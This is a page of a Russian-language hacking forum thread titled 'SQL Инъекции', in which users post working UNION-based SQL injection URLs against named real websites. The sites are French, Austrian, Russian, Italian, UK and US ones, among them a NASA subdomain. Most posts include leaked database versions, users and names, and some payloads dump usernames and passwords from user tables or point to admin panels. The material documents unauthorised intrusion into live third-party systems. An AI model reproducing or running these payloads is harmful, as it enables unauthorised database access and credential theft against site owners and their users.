SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. bigest

    bigest Banned

    Joined:
    22 Jul 2010
    Messages:
    0
    Likes Received:
    10
    Reputations:
    0
    ////
     
    #15201 bigest, 11 Nov 2012
    Last edited by a moderator: 11 Nov 2012
  2. r0by

    r0by Banned

    Joined:
    24 May 2012
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Мой колледж :)
     
  3. Чукща

    Чукща New Member

    Joined:
    14 Jan 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://www.editionsmosquito.com/auteur.php?id=19999+uni  on+select+1,2,3,vers  ion%28%29,5,6,7,8,9,10
    4.1.23-PRO-LOG
     
  4. AC//DC

    AC//DC Active Member

    Joined:
    28 Jul 2009
    Messages:
    419
    Likes Received:
    147
    Reputations:
    88
    [​IMG]

    http://www.silach.ru/trenazhery.php?s=catalog&cat=-60%20and%201=2%20union%20select%201,@@version,3,database(),5,user(),7+--

    m46340@fhe7.hoster.ru db46340m 4.0.27-log
     
  5. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.cirs.fr
    HTML:
    http://www.cirs.fr/researchers/researchers.php?id=-73'+union+select+1,concat_ws(user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15--+f
    PR 7
    cirs_orgcirs_org@localhost5.1.61-log


    www.umih.fr
    HTML:
    http://www.umih.fr/adh-ow-dpt.php?id=-73+union+select+concat_ws(user(),database(),version())
    ТИЦ10
    PR 5
    AR 649,608 DMOZ

    UMIHNATihnet@localhost5.0.44-log
     
    #15205 DyukiN, 16 Nov 2012
    Last edited: 16 Nov 2012
    1 person likes this.
  6. semuel7

    semuel7 Member

    Joined:
    16 Apr 2011
    Messages:
    26
    Likes Received:
    14
    Reputations:
    0
    ТИЦ 600, PR 6
    PHP:
    http://surveylearning.moodle.com/mod/survey/view.php?id=2-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
     
    2 people like this.
  7. Expl0ited

    Expl0ited Members of Antichat

    Joined:
    16 Jul 2010
    Messages:
    1,037
    Likes Received:
    531
    Reputations:
    935
    Code:
    http://rotorcraft.arc.nasa.gov/refbase/search.php?sqlQuery=SELECT+version(),title,type,year,publication,abbrev_journal,volume,issue,pages,keywords,abstract,address,corporate_author,place,conference,call_number,serial+FROM+refs+WHERE+serial=512+ORDER%20BY%20author,%20year%20DESC,%20publication&client=&formType=sqlSearch&submit=Display&viewType=&showQuery=0&showLinks=1&showRows=5&rowOffset=&wrapResults=1&citeOrder=&citeStyle=APA&exportFormat=RIS&exportType=html&exportStylesheet=&citeType=html&headerMsg=
     
    _________________________
    2 people like this.
  8. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    198
    Likes Received:
    161
    Reputations:
    108
    fgosvpo.ru ТИЦ-160 PR-5
    Code:
    fgosvpo.ru/index.php?menu_id=21&menu_type=4&parent=0&id=-133+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9+--+
    Code:
    5.5.24-log:u277450@10.8.3.28:u277450
    mountain.ru ТИЦ-3300 PR-6 3.3к уников
    Code:
    www.mountain.ru/news/last.php?news_id=-12860+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,0,11,12,13+--+
    Code:
    5.0.51a-log:newsmanager@127.0.0.1:news_mountain
    novstroy.ru ТИЦ-475
    Code:
    www.novstroy.ru/newman/news2.php?news_id=-6643122+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,0,11,12,13,14,15,16,17+--+
    Code:
    5.0.51a-17vc-log:news@localhost:news
    
     
    1 person likes this.
  9. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.freie-radios.at
    HTML:
    http://www.freie-radios.at/cmfe/print.php?id=-25%27+union+select+1,group_concat(username,0x3ae,password),3,4,5,6+from+users+--+f
    PR5
    DMOZ > World> Deutsch> Medien> Radio> Organisationen


    http://www.freie-radios.at/admin/

    www.bioenergetik.at
    HTML:
    http://www.bioenergetik.at/page.php?id=-25/**/union/**/select/**/1,2,3,4,concat_ws(user(),database(),version()),6,7,8,9,10--
    PR 3
    bioenerg_dbbioenerg@localhost5.0.51a-24+lenny5
     
    #15209 DyukiN, 17 Nov 2012
    Last edited: 17 Nov 2012
    1 person likes this.
  10. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    Тиц : 7
    PR : 3

    http://primavera-rk.net/news.php?id=-7+union+select+1,2,concat(user(),0x3a,database()),4,5,6
     
  11. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    http://www.mir-tv.ru/help.php?id=-2+UNION+SELECT+1,2,version(),4

    http://www.position1.ru/index-1.php?id=-46+UNION+SELECT+1,2,3,version()
     
  12. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    http://www.be-on.net/products.php?id=-230+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17
     
  13. smirk

    smirk Elder - Старейшина

    Joined:
    8 Sep 2011
    Messages:
    133
    Likes Received:
    40
    Reputations:
    26
    pr6
    http://www.northlandcollege.edu/athletics/headlines/headline.php?id=-48+union+select+1,2,3,4,5,concat_ws(0x3a,user(),version(),database()),7,8,9,10,11,12,13,14,15+--+

    cmsacct@localhost:5.1.63-0+squeeze1:cms
     
    1 person likes this.
  14. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.kinderinwien.at
    HTML:
    http://www.kinderinwien.at/presse-detail_c.php?id=-25 union select 1,2,3,concat_ws(user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15--
    PR 6
    ki002xf4_kiwiki002xf4@10.1.1.335.0.51a-24+lenny5-log
     
    1 person likes this.
  15. Vip77

    Vip77 Elder - Старейшина

    Joined:
    29 Sep 2012
    Messages:
    289
    Likes Received:
    55
    Reputations:
    20
    Code:
    http://www.mascar.it/product.php?id=3%20LIMIT%200%2C1%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x3a6476633a%2CIFNULL%28CAST%28azienda%20AS%20CHAR%29%2C0x20%29%2C0x746b6c716470%2CIFNULL%28CAST%28cognome%20AS%20CHAR%29%2C0x20%29%2C0x746b6c716470%2CIFNULL%28CAST%28datacreazione%20AS%20CHAR%29%2C0x20%29%2C0x746b6c716470%2CIFNULL%28CAST%28dataultimoaccesso%20AS%20CHAR%29%2C0x20%29%2C0x746b6c716470%2CIFNULL%28CAST%28email%20AS%20CHAR%29%2C0x20%29%2C0x746b6c716470%2CIFNULL%28CAST%28login%20AS%20CHAR%29%2C0x20%29%2C0x746b6c716470%2CIFNULL%28CAST%28nazioneid%20AS%20CHAR%29%2C0x20%29%2C0x746b6c716470%2CIFNULL%28CAST%28nome%20AS%20CHAR%29%2C0x20%29%2C0x746b6c716470%2CIFNULL%28CAST%28password%20AS%20CHAR%29%2C0x20%29%2C0x746b6c716470%2CIFNULL%28CAST%28userid%20AS%20CHAR%29%2C0x20%29%2C0x3a7662763a%29%2CNULL%2CNULL%2CNULL%20FROM%20mascar.ac_utenti%23
    пробелы удалите..
     
    #15215 Vip77, 18 Nov 2012
    Last edited: 18 Nov 2012
  16. Sssergy

    Sssergy New Member

    Joined:
    16 Nov 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    http://www.akiba-bb.net/contents/program/contents.php?id=-44'+union+select+1,user(),database(),version(),group_concat(schema_name+SEPARATOR+0x0b),6,7,8,9,10,11,12,13,14%20from%20information_schema.schemata--%20a

    http://www.nordiz.ru/tovar.php?tovar_id=-1+UNION+SELECT+1,2,3,null,5,group_concat(schema_na me+SEPARATOR+0x0b),7,8,9,user(),11,12,13,14,15,16, 17,18,19,20,null,22,23,24,25,26,version(),28,29,30 ,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,4 7,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63, 64,65,66,67,68,69,70,71,72%20from%20information_sc hema.schemata

    // З.Ы. Юзай редактирование постов
    // А было бы 10 скулей - 10 постов ?)
    // BigBear
     
    #15216 Sssergy, 18 Nov 2012
    Last edited by a moderator: 18 Nov 2012
  17. seozone

    seozone Member

    Joined:
    11 Sep 2012
    Messages:
    46
    Likes Received:
    7
    Reputations:
    0
    несколько сайтов
     
  18. DyukiN

    DyukiN Banned

    Joined:
    10 Jul 2011
    Messages:
    253
    Likes Received:
    46
    Reputations:
    21
    www.tii.se
    PHP:
    http://www.tii.se/nodem/exhibition.php?subpage=entry&id=-36/**/union/**/select/**/1,concat_ws(user(),database(),version()),3,4,5,6,7--
    PR 7
    ТИЦ 30

    nodemnodem@localhost5.0.45-standard-log
     
    1 person likes this.
  19. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    980
    Likes Received:
    523
    Reputations:
    173
    http://leffet.ru/view_goods.php?id=-1+union+select+1,2,3,4,version(),database(),7,8,9,10,11
     
  20. WendM

    WendM Member

    Joined:
    29 Jan 2012
    Messages:
    44
    Likes Received:
    7
    Reputations:
    3
    Code:
    http://www.hukapparel.co.uk/products.php?item=-9999999999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,version(),17,18,19,20,21,22+--+
     
Loading...
Thread Status:
Not open for further replies.